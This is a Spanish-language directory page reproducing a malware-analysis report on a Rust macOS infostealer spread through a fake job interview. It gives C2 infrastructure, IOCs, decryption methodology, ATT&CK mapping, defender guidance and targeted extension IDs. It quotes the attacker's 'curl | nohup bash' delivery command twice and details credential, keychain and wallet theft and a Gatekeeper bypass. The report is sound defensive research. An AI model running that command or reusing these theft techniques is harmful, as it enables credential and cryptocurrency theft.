Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hyperhives-macos-infostealer-analysis — Análisis estático completo del infostealer de Rust para macOS de HyperHives — 571 valores de configuración descifrados, infraestructura C2, atribución a DPRK/Contagious Interview, reglas YARA/Sigma, paquete STIX 2.1, capa de ATT&CK Navigator | Kitploit
Herramientas/GitHubGitHub/darksp33d/hyperhives-macos-infostealer-analysis
Gestión de Indicadores de Compromiso (IOC)OSINT (Inteligencia de Fuentes Abiertas)Ingeniería InversaAnálisis ForenseAnálisis de MalwareInteligencia de AmenazasPapers e InvestigaciónAprendizaje y EducaciónRecursos Curados

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubdarksp33d/hyperhives-macos-infostealer-analysis

hyperhives-macos-infostealer-analysis

Análisis estático completo del infostealer de Rust para macOS de HyperHives — 571 valores de configuración descifrados, infraestructura C2, atribución a DPRK/Contagious Interview, reglas YARA/Sigma, paquete STIX 2.1, capa de ATT&CK Navigator

Ver RepositorioSitio web
3143hace 5 mesesRevisado por Kitploit
Compartir

HyperHives macOS Infostealer — Análisis Técnico Completo

Validate Repository License: MIT STIX 2.1 ATT&CK Navigator

Inteligencia de amenazas: Infostealer universal binario de macOS basado en Rust entregado a través de un falso proceso de entrevista de trabajo en Wellfound (anteriormente AngelList). El operador con el alias "Felix" de "HyperHive" engañó a los objetivos para que ejecutaran un instalador malicioso desde macos.hyperhives.net. Este repositorio documenta el análisis estático completo: 571 valores de configuración cifrados recuperados, incluyendo URLs C2, un DSN de Sentry y 276 IDs de extensiones de Chrome objetivo.

SHA-256 de la muestra5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3
Dominio C2cloudproxy.link
Dominio de entregamacos.hyperhives.net
Plataforma de señueloWellfound (anteriormente AngelList)
Persona del operador"Felix" en "HyperHive"
VirusTotal9 / 63 detecciones
ClasificaciónDivulgación pública / paquete de IOCs
Última actualizaciónAbril 2026

Contenidos

  • Paquetes de inteligencia de amenazas
  • Estructura del repositorio
  • Inicio rápido
  • Resumen
  • 1 — Cómo comenzó
  • 2 — El binario
  • 3 — Qué roba
  • 4 — Infraestructura C2 descifrada
  • 5 — Atribución
  • 6 — Criptoanálisis
  • 7 — Mapeo MITRE ATT&CK
  • 8 — Referencia de wallets e IDs de extensiones
  • 9 — Acciones recomendadas
  • 10 — Metodología
  • Apéndice A — Los 276 IDs de extensiones de Chrome
  • Alcance y limitaciones
  • Historial de versiones
  • Contribuciones
  • Licencia

Paquetes de inteligencia de amenazas

ArchivoFormatoPropósito
iocs.txtTexto planoHashes, dominios, URLs, IPs, correo electrónico, IDs de Sentry — pegar en listas de bloqueo, MISP, OpenCTI
yara_rules.yarYARA 4.2+Coincidencia de hash de muestra conocida + detecciones heurísticas de cadenas para Mach-O
sigma_rules.ymlSigmaReglas de proxy, DNS y creación de procesos — ajusta logsource para tu SIEM
stix/bundle.jsonSTIX 2.1Paquete CTI legible por máquina con indicadores, SDO de malware, infraestructura, patrones ATT&CK y relaciones
attack-navigator-layer.jsonATT&CK NavigatorImportar en ATT&CK Navigator para cobertura visual de técnicas

Estructura del repositorio```

. ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist

root@kitploit:~
---
## Inicio rápido

Coloca la muestra como `sample/installer_binary` (consulta [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) para verificar el hash), luego:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py

El archivo compose impone network_mode: none, read_only: true, y elimina todas las capacidades de Linux. Consulte SECURITY.md para las pautas completas de manejo.


TL;DR

Una oferta de trabajo en Wellfound (anteriormente AngelList) llevó a una cadena de ingeniería social de múltiples correos electrónicos desde una persona operativa "Felix" en "HyperHive". Después de halagar los antecedentes técnicos del objetivo y programar una entrevista falsa, el atacante dirigió a la víctima a "revisar el producto" en hyperhives.net y examinar específicamente Configuración → Diagnóstico → Registro — un pretexto para desencadenar la ejecución de:``` curl -s https://macos.hyperhives.net/install | nohup bash &

root@kitploit:~
La carga útil es un **binario universal Mach-O de 8.5 MB** (x86_64 + arm64) compilado en Rust. El análisis estático con un laboratorio Docker aislado y emulación de CPU de **570 rutinas auxiliares x86_64 únicas** recuperó **todos los 571 valores de configuración cifrados**, exponiendo:

- **C2:** `cloudproxy.link` — cuatro endpoints HTTPS
- **Sentry (pivote de atribución):** DSN completo con ID de org/proyecto en `ingest.de.sentry.io`
- **Identidad de compilación:** Usuario de Cargo `rootr`, nombre en clave `force`, versión `9.12.1`
- **Objetivos:** 276 ID de extensiones de Chrome (billeteras cripto, gestores de contraseñas, credenciales corporativas)

Las tácticas se alinean con las campañas **Contagious Interview vinculadas a RPDC** — reclutamiento falso en plataformas legítimas, construcción de confianza en múltiples pasos, entrega `curl | bash`, ladrón de macOS en Rust y exfiltración centrada en criptomonedas.

---

## 1 — Cómo empezó

### El señuelo: entrevista de trabajo falsa en Wellfound

El ataque comenzó con una **publicación de trabajo de aspecto legítimo en Wellfound** (antes AngelList). Después de que el objetivo se postulara, se produjo la siguiente cadena de correos electrónicos por parte de un operador que utilizaba la personalidad **"Felix"** y el nombre de empresa **"HyperHive"**:

**Correo 1** (4 de abril de 2026) — Contacto inicial. "Felix" reconoció el CV y LinkedIn del objetivo, afirmó que su "Tech Lead" aprobó seguir adelante y mencionó específicamente la experiencia técnica real del objetivo. El correo decía que HyperHive estaba "construyendo la versión de escritorio de Hyperhives en diferentes sistemas operativos" e invitó al objetivo a programar una entrevista en UTC+0.

**Correo 2** (5 de abril de 2026) — Programación de seguimiento. Propuso un horario de entrevista específico (8 de abril a las 15:00 UTC) e incluyó la instrucción crítica de entrega de carga útil:

> *"Si puede, por favor eche un vistazo rápido al registro del producto en **Configuración → Diagnóstico → Registro**. Es posible que solicitemos algunos comentarios breves sobre el registro y cualquier otra observación del producto que note, ya que esto suele ser una buena señal de experiencia en ingeniería y atención al detalle."*

Esto dirigió al objetivo a `https://hyperhives.net`, donde navegar a la sección de diagnóstico desencadenó:```
curl -s https://macos.hyperhives.net/install | nohup bash &

Qué sucedió después

El comando descargó y ejecutó un binario universal Mach-O de 8,5 MB. Apareció un falso diálogo de contraseña de macOS mediante AppleScript. No se introdujo la contraseña. Los procesos fueron terminados inmediatamente y la muestra se conservó para su análisis.

Resumen de ingeniería social

ElementoDetalle
PlataformaWellfound (AngelList) — bolsa de trabajo legítima
Nombre de empresa"HyperHive" (singular) / dominio hyperhives.net
Persona"Felix"
Correo de contacto[email protected]
Generación de confianzaReferencia al CV real, LinkedIn y habilidades técnicas específicas del objetivo
Pretexto"Revise el producto antes de la entrevista"
Desencadenante de carga útil"Check Settings → Diagnostics → Log" en hyperhives.net
AgendamientoFalsa entrevista (8 de abril, 15:00 UTC) para mantener la urgencia
Cadena de múltiples pasosAl menos 2 correos en 2 días antes de la entrega de la carga útil

2 — El binario

PropiedadValor
Archivoinstaller_binary
Tamaño8.504.768 bytes
FormatoMach-O Universal (x86_64 + arm64)
SHA-2565c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3
SHA-12de897066c2fc7db91da78d7f9ded99237345077
MD50e95ab4038ec48657563c96bed840dd5
Compiladorrustc 1.87.0 (stable)
Usuario de compilaciónrootr (de la ruta incrustada /Users/rootr/.cargo/registry/...)
Nombre clave de compilaciónforce
Versión de compilación9.12.1
Seguimiento de erroresSentry Rust SDK v0.36.0
Número de crates97 (ver output/cargo_dependencies.txt)

La muestra demuestra ingeniería de nivel de producción: versionado semántico, integración con Sentry para fiabilidad operativa y una gran configuración incrustada cifrada con 570 funciones auxiliares únicas.

Cobertura en VirusTotal

Informe completo — 9 / 63 motores detectaron en el momento del envío inicial (abril de 2026). Más del 85% de los motores no lograron detectar esta muestra.

MotorNombre de detección
KasperskyHEUR:Trojan-PSW.OSX.HashBreaker.e
DrWebMac.PWS.JobStealer.1
ESET-NOD32OSX/PSW.Agent.BX Trojan
MicrosoftTrojan:MacOS/Stealer!AMTB
Avast / AVGMacOS:Stealer-BU [Trj]
ElasticMalicious (high Confidence)
CynetMalicious (score: 99)
SentinelOneStatic AI - Suspicious Mach-O

Nombres de familia notables de proveedores para referencias cruzadas: HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).

No detectado por: BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda y otros 44 motores. Esta baja tasa de detección subraya la eficacia operativa del enfoque Rust + ofuscación personalizada utilizado en esta campaña.

Las tasas de detección cambian a medida que los proveedores actualizan las firmas. Consulte el informe de VirusTotal para obtener resultados actuales.


3 — Lo que roba

Datos del navegador (basados en Chromium)

NavegadorRuta de datosEntrada de llavero
ChromeGoogle/ChromeChrome Safe Storage
BraveBraveSoftware/Brave-BrowserBrave Safe Storage
OperapredeterminadaOpera Safe Storage
Opera GXpredeterminadaOpera Safe Storage 2023
VivaldipredeterminadaVivaldi Safe Storage
Microsoft EdgepredeterminadaMicrosoft Edge Safe Storage
ArcArc/User Data—
CocCocpredeterminadaCocCoc Safe Storage

Tipos de datos robados: contraseñas, tarjetas de crédito, cookies, tokens de sesión, autocompletado, historial de navegación.

Datos del sistema macOS

  • Llavero de inicio de sesión (login.keychain-db) — requiere la contraseña de usuario obtenida mediante el diálogo falso
  • Notas de Apple — exfiltradas mediante AppleScript/osascript
  • Identificadores de hardware — IOPlatformExpertDevice / IOPlatformUUID, reportados como hardwares al C2

Mensajería

  • Telegram Desktop — material de sesión tdata para la toma total de cuentas

Carteras de criptomonedas (188 objetivos lógicos, 276 ID de extensiones)

Segmentación exhaustiva de extensiones de navegador para carteras, incluyendo MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live y Trezor Suite. Mapeo completo en Sección 8 y output/full_decrypted_config.json.

Gestores de contraseñas

ProductoIDs de extensión (ejemplos)
1Passwordaeblfdkhhhdcdjpifhhbdiojplfjncoa, khgocmkkpikpnmmkgmdnfckapcdkgfaf, gejiddohjgogedgjnonbofjigllpkmbf
ProtonPassghmbeldphafepmbegfdlkpapadhbakde
Dashlanefdjamakpfbbddfjaooikfcpapjohcfmg
Deloitte CredentialsAlmacén corporativo de credenciales

Evasión y controles operativos

CaracterísticaDetalle
Detección de VMIndicador is_vm en JSON de C2
Modo forzadoIndicador remoto force_mode de anulación
Bypass de Gatekeeperxattr -c en el binario descargado
Conocimiento de VPNMensaje de error "Please use VPN and retry"

Exfiltración

Datos organizados bajo ~/Documents/temp_data/Application/, comprimidos en ZIP, subidos mediante multipart/form-data sobre HTTPS. IP de la víctima y geolocalización resueltas mediante https://freeipapi.com/api/json.


4 — Infraestructura C2 descifrada

Comando y control

EndpointRol
https://cloudproxy.link/m/openedBeacon / activación
https://cloudproxy.link/m/metricsTelemetría
https://cloudproxy.link/m/decodeCanal de instrucciones / configuración
https://cloudproxy.link/db/debugDepuración / diagnósticos

Sentry DSN (huella del operador)```

https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008

root@kitploit:~
| Componente | Valor |
|-----------|-------|
| **Clave pública** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID de organización** | `4509139651198976` |
| **ID de proyecto** | `4509422649213008` |
| **Región** | UE — `ingest.de.sentry.io` |

El proceso legal con Sentry puede recuperar detalles de registro de cuentas, registros de facturación y metadatos de acceso vinculados a esta organización/proyecto.

### API de geolocalización

`https://freeipapi.com/api/json` — IP de la víctima / país para JSON de C2 (`ipAddress`, `countryCode`).

### Protocolo de exfiltración C2

| Campo | Función |
|-------|---------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Identificadores de víctima/sesión |
| `ip`, `geo` | De la API de geolocalización |
| `pers_password` | Contraseña del diálogo falso |
| `passwords`, `wallets`, `credits`, `autofills` | Material robado |
| `is_vm`, `hardwares`, `force_mode` | Indicadores de entorno/control |

Método de subida: `multipart/form-data`, `application/zip`, cadena de conexión `UPLD connect`.

---

## 5 — Atribución

### Indicadores de compromiso

| Indicador | Valor | Fuente |
|-----------|-------|--------|
| Plataforma de señuelo | Wellfound (AngelList) | Reporte de la víctima |
| Personaje del operador | "Felix" en "HyperHive" | Correos de señuelo |
| Sitio web de señuelo | `hyperhives.net` | Correos de señuelo |
| Correo del remitente | `[email protected]` | Correos de señuelo |
| Dominio de entrega | `macos.hyperhives.net` | Descarga del payload |
| IP de entrega | `81.28.12.12` (Gcore CDN) | Resolución DNS |
| Registrador / correo | Tucows; Spacemail | WHOIS / MX |
| **Dominio C2** | **`cloudproxy.link`** | **Descifrado de la muestra** |
| **DSN de Sentry** | Ver [Sección 4](#sentry-dsn-operator-fingerprint) | **Descifrado de la muestra** |
| Usuario de compilación | `rootr` | Rutas Cargo incrustadas |
| SHA-256 de la muestra | `5c7385c3...bf8dd3` | Hash del archivo |

### Alias del desarrollador: `rootr`

Ruta incrustada `/Users/rootr/.cargo/registry/`. OSINT sobre el alias — [github.com/rootr](https://github.com/rootr) (a fecha del análisis): empresa listada "RootR", ubicación Ginebra, cuenta creada el **2024-06-27**, cero repositorios públicos. Consistente con un perfil desechable u operativo.

### DPRK / Contagious Interview (evaluación analítica)

| TTP | Esta muestra | Patrón informado asociado a DPRK |
|-----|-------------|--------------------------------|
| **Reclutamiento falso en plataforma legítima** | Publicación en Wellfound (AngelList) → cadena de correos con "Felix" | Contagious Interview: alcance de reclutadores falsos en LinkedIn, Indeed, Wellfound |
| **Ingeniería social de múltiples pasos** | 2+ correos haciendo referencia a un CV real, programando una entrevista falsa | Generar confianza antes del payload; documentado en múltiples campañas de DPRK |
| **Pretexto de revisión de producto / prueba de código** | "Ve a Configuración → Diagnóstico → Registro" | Pretextos de "Revisa nuestro proyecto" / "ejecuta esta prueba de código" |
| `curl \| bash` como entrega | One-liner de instalación desde `macos.hyperhives.net` | Vector común de ingeniería social en macOS |
| Binario universal Rust Mach-O | rustc 1.87.0, x86_64 + arm64 | Clústeres similares a RustDoor / RustBucket |
| Diálogo falso de contraseña | AppleScript `osascript` | Documentado en campañas relacionadas de macOS |
| Gran conjunto objetivo de carteras cripto | 276 IDs de extensión, 188 nombres de carteras | Motivación financiera consistente con la generación de ingresos de DPRK |

**Confianza:** **alta** por la alineación temática y de TTP. El pipeline de oferta de trabajo falsa en Wellfound, la cadena de confianza de múltiples correos, el pretexto de revisión de producto, el stealer Rust para macOS y el enfoque en carteras de criptomonedas coinciden estrechamente con el manual de Contagious Interview. Esta es una evaluación analítica, no una declaración de atribución gubernamental o de las fuerzas del orden.

---

## 6 — Criptoanálisis

Las cadenas de configuración están protegidas por un **cifrado XOR personalizado**: 570 pequeñas funciones auxiliares x86_64 (rango de código `0x10000`–`0x15000`) cada una calcula un desplazamiento único de 16 bits a partir de `(data_ptr, seed)`. El desplazamiento indexa en el binario para producir una clave XOR de 32 bytes aplicada al bloque de texto cifrado correspondiente.

### Enfoques que fallaron

| Método | Resultado |
|--------|-----------|
| Barridos XOR ingenuos | Sin texto plano coherente |
| Adivinación de clave AES / PBKDF2 | No se encontró programa de claves |
| Emulación Unicorn de todo el binario del runtime de Rust | La complejidad del flujo de control causó divergencia |

### Enfoque que tuvo éxito

1. **Escanear** instrucciones `LEA` relativas a RIP dirigidas a la región de configuración (`0x2b8000`–`0x2bc000`).
2. **Analizar** el código precedente para extraer `(dirección_función_auxiliar, puntero_datos, seed)`.
3. **Emular** cada función auxiliar de forma aislada usando [Unicorn Engine](https://www.unicorn-engine.org/) (máximo 200 instrucciones).
4. **Descifrar con XOR** el bloque de 32 bytes en la dirección objetivo usando la clave en el desplazamiento calculado.
5. **Extender** para cadenas de múltiples bloques (URLs, DSN) y entradas de metadatos OR+XOR.

**Cobertura:** 381 bloques XOR + 190 entradas de metadatos OR+XOR = **571 valores de configuración recuperados** en 1.1 segundos. Cero entradas cifradas no recuperadas.

**Implementación:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)

---

## 7 — Mapeo MITRE ATT&CK

> Importa [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) en [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) para una vista interactiva.

| Técnica | ID | Uso en esta muestra |
|---------|----|---------------------|
| Phishing | T1566 | Correo de ingeniería social desde `[email protected]` |
| Ejecución de usuario: Archivo malicioso | T1204.002 | `curl \| bash` desde el señuelo |
| Intérprete de comandos y scripts: AppleScript | T1059.002 | Diálogo falso de contraseña, exfiltración de Apple Notes |
| Intérprete de comandos y scripts: Shell Unix | T1059.004 | Ejecución inicial mediante bash canalizado |
| Credenciales de almacenes de contraseñas: Llavero | T1555.001 | Extracción del llavero de inicio de sesión |
| Credenciales de almacenes de contraseñas: Credenciales de navegadores web | T1555.003 | Descifrado de Login Data de Chromium |
| Robo de cookie de sesión web | T1539 | Robo de cookies y tokens del navegador |
| Datos del sistema local | T1005 | Carteras, Telegram, Notas, autocompletado |
| Archivar datos recopilados | T1560 | Preparación ZIP en `~/Documents/temp_data/` |
| Exfiltración a través de canal C2 | T1041 | POST HTTPS a `cloudproxy.link` |
| Protocolo de capa de aplicación: Protocolos web | T1071.001 | C2 HTTPS con cuatro endpoints |
| Evasión de virtualización/sandbox | T1497 | Indicador `is_vm` |
| Archivos o información ofuscados | T1027 | 570 funciones XOR auxiliares |
| Captura de entrada | T1056 | Diálogo falso de contraseña |
| Descubrimiento de información del sistema | T1082 | Recopilación de ID de hardware y versión del SO |
| Descubrimiento de configuración de red del sistema | T1016 | Geolocalización `freeipapi.com` |
| Subversión de controles de confianza: Evasión de Gatekeeper | T1553.001 | `xattr -c` en el binario descargado |

---

## 8 — Referencia de carteras e IDs de extensiones

Se recuperaron 188 nombres de carteras y **276 IDs únicos** de extensiones Chrome de 32 caracteres. La siguiente tabla muestra objetivos de alto perfil; la lista completa está en el [Apéndice A](#apéndice-a--los-276-ids-de-extensiones-chrome) y en `output/full_decrypted_config.json`.

| Cartera | ID de extensión |
|---------|-----------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |

**Carteras de escritorio:** Los directorios de datos de Ledger Live y Trezor Suite también son objetivo.

**Importante:** Estos IDs de extensión identifican **extensiones de navegador legítimas** cuyos datos locales el malware selecciona para robar. **No** son extensiones maliciosas.

---

## 9 — Acciones recomendadas

### Para posibles víctimas

- **No** ejecutes one-liners desconocidos de `curl | bash`
- Rota todas las credenciales almacenadas en el navegador, claves de carteras cripto y contraseñas maestras de gestores de contraseñas si estuvieron expuestas
- Verifica la presencia de `~/Documents/temp_data/` en el disco
- Reporta a las autoridades locales y al CERT nacional correspondiente (por ej., IC3, NCSC)

### Para defensores

- **Bloquea** `macos.hyperhives.net`, `cloudproxy.link` y `81.28.12.12` (verifica el impacto de hosting compartido antes de bloquear IP)
- **Busca** tráfico HTTPS hacia `cloudproxy.link` y consultas DNS para ambos dominios
- **Implementa** las reglas YARA y Sigma de este repositorio (ajústalas a tu entorno)
- **Compara** las extensiones de Chrome instaladas con la lista de 276 IDs (las extensiones son legítimas — el malware lee sus datos locales)
- **Importa** `stix/bundle.json` en tu plataforma CTI (MISP, OpenCTI, ThreatConnect, etc.)

### Para investigación legal

| Objetivo | Qué solicitar |
|----------|---------------|
| Sentry | Registros de cuenta y facturación para la org `4509139651198976` |
| Registradores de dominio | Registros WHOIS de `cloudproxy.link` y `hyperhives.net` |
| CDN de Gcore | Registros de acceso para `81.28.12.12` |
| Proveedor de correo | Registros de cuenta para `[email protected]` |
| GitHub | Metadatos de cuenta para `rootr` |

---

## 10 — Metodología

El análisis se realizó en un **contenedor Docker** con:
- `network_mode: none` (sin conectividad saliente)
- `read_only: true` (sistema de archivos raíz inmutable)
- Todas las capacidades de Linux eliminadas (`cap_drop: ALL`)
- Opción de seguridad `no-new-privileges`

Herramientas: Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2 y scripts personalizados. No se realizó ejecución dinámica del malware — todos los hallazgos derivan del análisis estático y la emulación aislada de CPU de funciones auxiliares individuales.

Artefactos verificados: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).

---

## Apéndice A — Los 276 IDs de extensiones Chrome

La configuración del malware hace referencia a estos IDs de extensión (rutas de almacenamiento local / LevelDB en perfiles de usuario). **Estos IDs identifican extensiones legítimas seleccionadas para el robo de datos, no extensiones maliciosas.**```
abkahkcbhngaebpcgfmhkoioedceoigp  abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch  aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa  afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco  aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb  ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno  aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi  ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp  akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa  algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae  amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff  anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca  aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol  bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh  bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc  bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm  bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha  bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm  bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg  blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf  bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni  bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl  cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje  ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne  ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi  cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl  cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm  codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp  dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp  dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm  dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok  dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm  dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph  dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao  eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm  ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk  egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea  ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm  ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg  ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp  eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg  emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen  emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg  epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk  fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo  fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk  fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii  fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp  fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb  fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld  fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc  fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh  fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib  fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll  fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg  gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf  ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg  ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai  gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn  gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl  hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl  hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc  hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk  hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi  hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo  hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna  hmeobnfnfcmdkdcmlblgagmfpfboieaf
